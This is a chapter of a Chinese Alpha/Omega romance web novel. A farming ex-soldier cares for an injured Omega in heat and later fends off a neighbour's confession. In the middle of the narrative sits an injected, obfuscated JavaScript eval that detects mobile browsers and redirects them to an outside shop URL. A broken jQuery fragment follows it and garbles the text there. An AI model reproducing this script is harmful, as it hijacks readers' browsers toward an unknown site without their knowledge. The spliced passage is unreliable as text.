3. 第 3 章

作品:《退伍种田后标记了大小姐

    汽车轰鸣停止后,她径直去往后院,五十来平米的土壤黏重,开荒时轻而易举,铺些碎石作小道,再围起木板当作苗圃,保护小菜园。


    叉锄、铁锹、除草机等务农工具放在不远处农仓,她拿出洒水机,为几个月后就能长成的西兰花萝卜大白菜幼苗浇水。


    李恩洛俯身,一点点清除占据生态位的喇叭旋花和茅草根。


    翠绿豆藤攀在竹竿和支架间,西红柿茄红素在夏末达到爆汁酸甜程度。


    忙活菜园,不为别的,她现在最不缺的就是时间。


    屋内没有任何响动,灯火通明,李恩洛猜崔茉莉还没睡,机械腕表指针显示23点,她推开后门。


    崔茉莉蓦然睁开眼,抓住电话机线防身,紧张神情暴露无遗,像受惊的兔子。


    她愣了一下,“是你啊。”


    “不然呢?”李恩洛走近,番茄放在桌子,“洗好的,可以吃。”


    芝麻认定崔茉莉不会伤害她,于是躺在沙发边。


    有猫咪作伴,崔茉莉勉强入睡,但发情期刚来,注定她这一觉十分不安稳。


    梦里全是旖.旎不可言说的画面,更糟糕的,被咬腺体,贯.穿……是刚认识几个小时的Alpha。


    她惊醒,无法直视李恩洛,催促快点远离,崔茉莉讪讪在嘴上使功夫,“暂时还不饿。”


    “那就留到明天,”李恩洛瞟一眼她的神态,“你现在睡?”


    崔茉莉侧过脸对着沙发,有点冷,“对呀。”


    李恩洛:“太脏了。”会弄脏沙发,她略去后半句。


    用不着李恩洛提醒,崔茉莉浑身难受想泡澡,奈何脚一沾地就钻心痛,她瓮声瓮气:“脏你也得受着。”


    李恩洛原地站立,Omega发丝间的枯叶还在,双臂婴儿般蜷在胸前。


    十多秒后,Alpha转身走开,留下的信息素却像八爪鱼一样缠着崔茉莉。


    好多,太多了......


    崔茉莉弓起腰背抵抗战栗的渴望,冷汗浸透内衣,这儿一切都不如她意,和家徒四壁没区别。


    她高度怀疑李恩洛在欲擒故纵,知道她发情,故意不给她抑制剂,就等着她向她摇尾乞怜求标记。


    片刻,她呼吸陡然急促,Alpha信息素同脚步声一起接近她。


    “不行,晚点睡。”李恩洛说。


    崔茉莉心头悲怆,八成要被山野农夫标记了。


    早知如此,何必当初,崔茉莉伤感地想,她一伤残病人,睡觉的权利都要被剥夺,哪禁得起整夜的反复标记。


    身体腾空,崔茉莉默默哭到眼角通红,体内细胞却和她作对,叫嚣着欲.求Alpha的信息素。


    李恩洛将她抱进浴缸内,抬高受伤的腿,架在浴缸边缘,再脱掉Omega衣物准备清洗。


    尽管插翅难飞,崔茉莉觉得不能坐以待毙,哪怕光溜溜。


    她一口咬住李恩洛胳膊做最后抵抗。


    李恩洛调整花洒水温,手臂忽传来刺痛,她疑惑,“你很疼?”


    牙齿深陷皮肉,这人眉头居然都不皱一下,崔茉莉心态暴跌,她伸出舌头讨好舔舐,眼睫轻扇,“嗯,可以温柔点吗?”


    柔软发丝拂过李恩洛手臂肌肤,她顿了顿:“好,不许咬了。”


    崔茉莉点点头,被迫摆.弄.四肢,珊瑚绒毛巾擦拭她皮肤,轻柔,避开敏感点,侮辱性极强,她闭上眼,“李恩洛,我难受,给我点时间,今天不要标记我。”


    李恩洛淡声:“谁要标记你。”


    “你......”


    “自作多情。”


    “可是,从见到我开始,你一直放信息素诱导,你分明在欺负我。”崔茉莉眼眶泛红,抬手掼开花洒,喷头方向倒转,水珠喷溅。


    李恩洛的背心瞬间湿透,映出姣好的胸型,腹部马甲线若隐若现,清寂绝尘的脸庞,眼底不合时宜地透出几分柔魅。


    崔茉莉倒吸口冷气,“就像现在,你勾.引我。”


    Omega反应不对劲,李恩洛想到什么,强调,“我对你不感兴趣。”


    崔茉莉按住李恩洛帮她揉洗头发的手腕,望进一双冷漠不带情愫的深潭瞳眸。


    “真的吗?你的话很没说服力,腺体,这里,红肿了。”


    李恩洛摸向发烫的腺体,没料到信息素不受控制。


    她的腺体在最后一次执行联盟任务时受损,无法分泌信息素,能治疗,但她拒绝了,信息素荡然无存,同时阻碍人体产生生理反应,李恩洛认为无关紧要。


    思索片刻,将花洒塞给崔茉莉,“我去处理一下,你继续洗。”


    “等等,别...”崔茉莉斜靠在浴缸,受伤的右腿必须保持稳定,头发湿淋淋挂着丁点泡沫。


    她现在非常无措,混乱。


    靠她一己之力清洗非常高难度……


    一年从未打开的抑制剂,封存在床头柜最里层,今天派上用场,李恩洛往脖子扎一针,又抽出一支。


    折腾到凌晨,李恩洛帮崔茉莉重新换纱布,睡衣。


    崔茉莉套着不匹配她尺寸的白T,松松垮垮。


    杏发卷曲柔顺漫在腰际,一张脸娇艳欲滴,唇瓣微微呼吸,她觉得人生毁了一半。


    李恩洛能抑制住信息素泄露,然而她的发情期迟迟得不到纾解,可以手动,但她实在没多少力气。


    因为,一次不够。


    处在困与发热间,崔茉莉蜷缩着,身为Omega的尊严,打死也不能求Alpha。


    芝麻两爪扒在沙发,担忧地对崔茉莉叫了一声,意味着:人类,你很紊乱。


    李恩洛掏出一次性针管,“抑制剂。”


    总算有点良心,崔茉莉心想,背对李恩洛,“放桌上,谢谢。”


    李恩洛回房,走出几步,问:“明早你需要吃饭吗?”


    “我都行。”能不能别再找她说话了,崔茉莉怕听见Alpha的声音,怕多看一眼Alpha,怕忍不住。


    “嗯。”李恩洛揿灭大灯,留下垂挂一缕裸露电线的暖光灯泡。


    崔茉莉计算时间,听到开关门声,她拾起抑制剂,两眼一黑,说明写着Alpha专用抑制剂。


    芝麻肉垫拍拍她,崔茉莉瘪嘴,“谢谢小煤球,好贴心,你主人真离谱。”


    这猫蛮乖,是只Omega巧克力重点暹罗,小脸中央黑乎乎像刚挖煤回来,崔茉莉摸着它顺滑的象牙白短毛,聊以慰藉。


    纠结半晌,她下定决心,“Alpha抑制剂也是抑制剂,死马当活马医。”


    房间内,李恩洛照例吞下一粒SSRI,揿扭台灯,黄色光圈盈满房间,也许今晚又要做噩梦。


    次日。


    李恩洛从地里多摘几颗番茄,回屋,见崔茉莉沉入睡眠,抑制剂效果不错,她多留下两支药剂。


    不多时,一辆皮卡拐过约六公里的窄道,在公路行进数分钟,在岔路口右拐,出现颠簸的街面,斑驳蓝色金属标牌上写着:安平镇。


    何依依穿着清雅薄荷绿短裙,天空澈蓝,她一早就就坐在门口台阶守望。


    眼见车子弯过隔壁长条道,尾气带起尘嚣,落在她家附近,她欣喜迎上。


    李恩洛绕到皮卡尾门,拖出工具袋,视线侧下方裙摆携风飘过。


    “洛姐姐,我来帮你吧?”何依依挤到她左边。


    李恩洛不动声色与她保持距离,拉起推车,万向轮在沥青路面滚动,摩擦石子咔咔作响,“不用帮,不重。”


    “好,我早上采了些头茬柠檬,榨柠檬汁,你喜欢甜一点还是原味?”


    何依依也不恼,快活地为她敞开大门,马尾辫一甩一甩,少女心事表露在外。


    李恩洛:“都行,不挑。”


    何依依喜笑颜开,冲院子里喊,“妈,洛姐姐过来啦!”


    “知道了!”何母正在晾晒衣服,对李恩洛抱歉一笑:“不好意思,又要麻烦你了,这家里不知怎么的,电器隔三岔五就坏,不是马桶抽水出问题就是水龙头滴水。”


    按照房屋周期三十年起算,开始走下坡路,老化属实正常。


    但上个月保险丝熔断,下水管道裂开,光洗个菜都能水漫西厨,太不合理。


    “没记错的话,这次是洗碗机卡住,LED灯不发光,门锁松动?”李恩洛知道原因,她不愿点明。


    正值暑期,何依依的妹妹何苒盘腿坐在地,操控手柄打游戏,吸着柠檬汽水,斜了一眼她姐,大清早唇釉涂的油光水亮,没救了。


    何母:“诶对,我带你去......”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984368|193609||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “妈你不是还有被单没弄好么,我和洛姐姐一起就成。”


    何依依中途打断她妈,在柠檬水里加入冰块端给李恩洛,“里面有一点龙舌兰,洛姐姐不会介意吧?”


    “不,”李恩洛浅尝一口,放回原位,“很好喝,走,尽快搞定。”


    “好,洛姐姐,跟我来。”


    何依依时不时回头瞥李恩洛,一米八三身高的Alpha扎高马尾,明净的锁骨,衬出她脖颈修长,每回见面都让人惊艳。


    卧室灯和锁都没法正常运作,是Omega的卧室,淡淡馨香,李恩洛默不作声,眼睛只放在该有的位置。


    大概一个小时,李恩洛更换上新的灯和锁芯,又检查一遍启辉器,确保电压电容完整性。


    何依依则是紧紧盯着李恩洛一举一动,在李恩洛试用新钥匙插入锁扣时。


    门板啪的一声,两人关在屋内。


    李恩洛眸子低垂,看着何依依,后者心虚,磕磕绊绊表白:“洛,洛姐姐,我...我还是喜欢你。”


    记不清第几次,第几个Omega向她求爱,对于感情,她不够敏感,甚至称得上麻木。


    “嗯,知道了。”李恩洛别开脸,弯腰收拾工具,拉上链子。


    不是何依依要的答案,她故意创造两人独处机会,岂能善罢甘休,她手心冒汗,“洛姐姐,我不太懂你的意思。”


    李恩洛提起工具袋,搡开她,扣在旋转把手,“怎么,不撞南墙不回头?”


    何依依着急反驳,直接从后背抱住她,限制她多踏一步。


    “对,上次我表白,你说你29了,比我大十岁,不值得我付出,但后来我想,珍妮贝克比她老婆小二十岁呢,不还照样生了四五个孩子,日子过得挺好,姐姐,年龄不是问题。”


    后背蹭到柔软,李恩洛脊背绷直,脑海莫名闪出作战时的画面碎片,她眼底划过阴鸷,语调阴寒。


    “放手。”


    何依依不可置信地颤抖一下,头次感受到什么叫大热天如坠冰窖。


    她倒退一步,睁大眼,“洛姐姐,你刚才为什么用那种语气?”


    李恩洛拧开把手,“不要碰我。”


    “......对不起,”何依依惭愧,也为不耻行径脸红,“所以,只是因为我们年龄不适合?”


    “想听实话?”


    “不用了......”她有自知之明,经不起第三次的拒绝。


    “剩下洗碗机没有修,修完我就走。”


    李恩洛在二楼楼梯转角问她:“洗碗机真的坏了?”


    何依依抿了抿唇,像个做错事的小女孩,声若蚊蚋,“我往挡板里放了一个塑料脚,卡住……”


    “嗯。”李恩洛没再盘问,转换新话题,“你刚才有闻到我的信息素吗?”


    空气一如既往,何依依摇头,“闻不到,洛姐姐信息素有什么问题吗?Alpha抑制剂我家里有。”


    “没事,只是问问。”


    也许每天吃药副作用,信息素回光返照,腺体损坏不经过系统化治疗,不可能突然恢复。


    这回李恩洛只要了报酬的一半,何母感慨洗碗机坏了让她很头痛,没想到李恩洛一下子就发现症结所在,再三挽留她吃中饭。


    尽管家里大小物件“损坏”基本是何依依暗中作梗,毕竟老主顾,李恩洛应下,菜色丰盛,四菜一汤有肉有蔬菜。


    李恩洛始终食欲不高,速度很慢,勉强吃完何依依为她盛的一碗白米饭。


    临走时,李恩洛一饮而尽特调柠檬汁,“可以到你家树上采几颗柠檬吗?我付钱。”


    第一次单方面失恋,害怕李恩洛看穿她的小把戏,以后再也不搭理她。


    “不用给钱,我们家每年都吃不完。”她重拾心情,热络地采摘一袋子黄澄澄的清香柠檬。


    “谢谢。”


    “不客气,我以后还可以叫你洛姐姐吗?”


    “称呼而已,哪有什么区别。”


    目送李恩洛转动方向盘驶出街道,何苒叼着棒冰,“姐,我以前怎么没发现你厚脸皮呢,她是有点点魅力,可你和她根本不是一个世界的,还告白两次,啊,你哭了......”


    “没,别胡说,风太大吹的。”何依依恋恋不舍扭头跑上楼。